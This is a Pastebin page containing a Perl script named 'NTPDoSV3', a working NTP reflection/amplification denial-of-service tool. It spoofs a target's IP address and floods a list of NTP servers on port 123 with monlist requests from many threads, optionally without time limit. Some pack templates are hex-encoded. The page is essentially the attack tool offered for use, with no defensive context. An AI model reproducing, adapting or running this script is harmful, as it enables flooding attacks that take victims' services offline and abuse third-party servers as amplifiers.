Advertisement
1337ings

[Perl] NTPDoSV3

Jan 30th, 2017
524
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.97 KB | None | 0 0
  1. use threads;
  2. use Socket;
  3. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  4. if ( @ARGV == 0 ) {
  5. print "Usage: ./$PROG [IP] [PORT] [TIME] [LIST] [THREADS]\nCoded by Chris Poole | @codingplanets\nUse -1 for random ports, and -1 for unlimited time\nPoole is the master of disasters\n";
  6. exit;
  7. }
  8.  
  9. my $udp_src_port = $ARGV[1];
  10. if ($udp_src_port =~ "-1") {
  11. print "[+] Flooding Random Ports\n";
  12. }
  13.  
  14. my $num_of_threads = $ARGV[2];
  15. my $target = $ARGV[0];
  16. my $udp_src_port = $ARGV[1];
  17. my $time = $ARGV[4];
  18. my $openme = $ARGV[3];
  19. open my $handle, '<', $openme;
  20. chomp(my @servers = <$handle>);
  21. close $handle;
  22. my $ppr = '4';
  23. my @threads = initThreads();
  24.  
  25. if ($time =~ "-1") {
  26. print "[+] Unlimited Seconds\n";
  27. }
  28. print "[+] Flood on $target started\n";
  29.  
  30.  
  31. if (-e $openme) {
  32. }
  33. unless (-e $openme) {
  34. print "List does not exist.\n";
  35. exit();
  36. }
  37.  
  38. foreach(@threads){
  39. $_ = threads->create(\&attackshit);
  40. }
  41. foreach(@threads){
  42. $_->join();
  43. }
  44. sub initThreads{
  45. my @initThreads;
  46. for(my $i = 1;$i<=$num_of_threads;$i++){
  47. push(@initThreads,$i);
  48. }
  49. return @initThreads;
  50. }
  51.  
  52.  
  53. sub attackshit{
  54.  
  55. alarm("$time");
  56. repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];
  57. my $ip_src = ( gethostbyname($target) )[4];
  58. socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;
  59. setsockopt( RAW, 0, 1, 1 );
  60.  
  61. my $udp_src_port = $ARGV[1];
  62. if ($udp_src_port =~ "-1") {
  63. $udp_src_port = $port ? $port : int(rand(65500))+1;
  64. } else {
  65. my $udp_src_port = $ARGV[1];
  66. }
  67.  
  68. main();
  69. #main packet formation
  70. sub main {
  71.  
  72.  
  73. my $packet;
  74. $packet = ip_header();
  75. $packet .= udp_header();
  76. $packet .= payload();
  77. for (1 .. $ppr) {
  78. send_packet($packet) or last;
  79. }
  80. goto repeat;
  81. }
  82. sub ip_header {
  83. my $ip_ver = 4;
  84. my $ip_header_len = 5;
  85. my $ip_tos = 0;
  86. my $ip_total_len = $ip_header_len + 20;
  87. my $ip_frag_id = 0;
  88. my $ip_frag_flag = "\x30\x31\x30";
  89. my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
  90. my $ip_ttl = 255;
  91. my $ip_proto = 17;
  92. my $ip_checksum = 0;
  93. my $ip_header = pack(
  94. "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",
  95. $ip_ver . $ip_header_len, $ip_tos,
  96. $ip_total_len, $ip_frag_id,
  97. $ip_frag_flag . $ip_frag_offset, $ip_ttl,
  98. $ip_proto, $ip_checksum,
  99. $ip_src, $ip_dst
  100. );
  101. return $ip_header;
  102. }
  103.  
  104. sub udp_header {
  105. my $udp_dst_port = 123;
  106. my $udp_len = 8 + length( payload() );
  107. my $udp_checksum = 0;
  108. my $udp_header = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E",
  109. $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum );
  110. return $udp_header;
  111. }
  112. sub payload {
  113. my $data = "\x17\x00\x03\x2a" . "\x00" x 4;
  114. my $payload = pack( "\x61" . length($data), $data );
  115. return $payload;
  116. }
  117.  
  118. sub send_packet {
  119. send( RAW, $_[0], 0,
  120. pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) );
  121. }
  122.  
  123. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement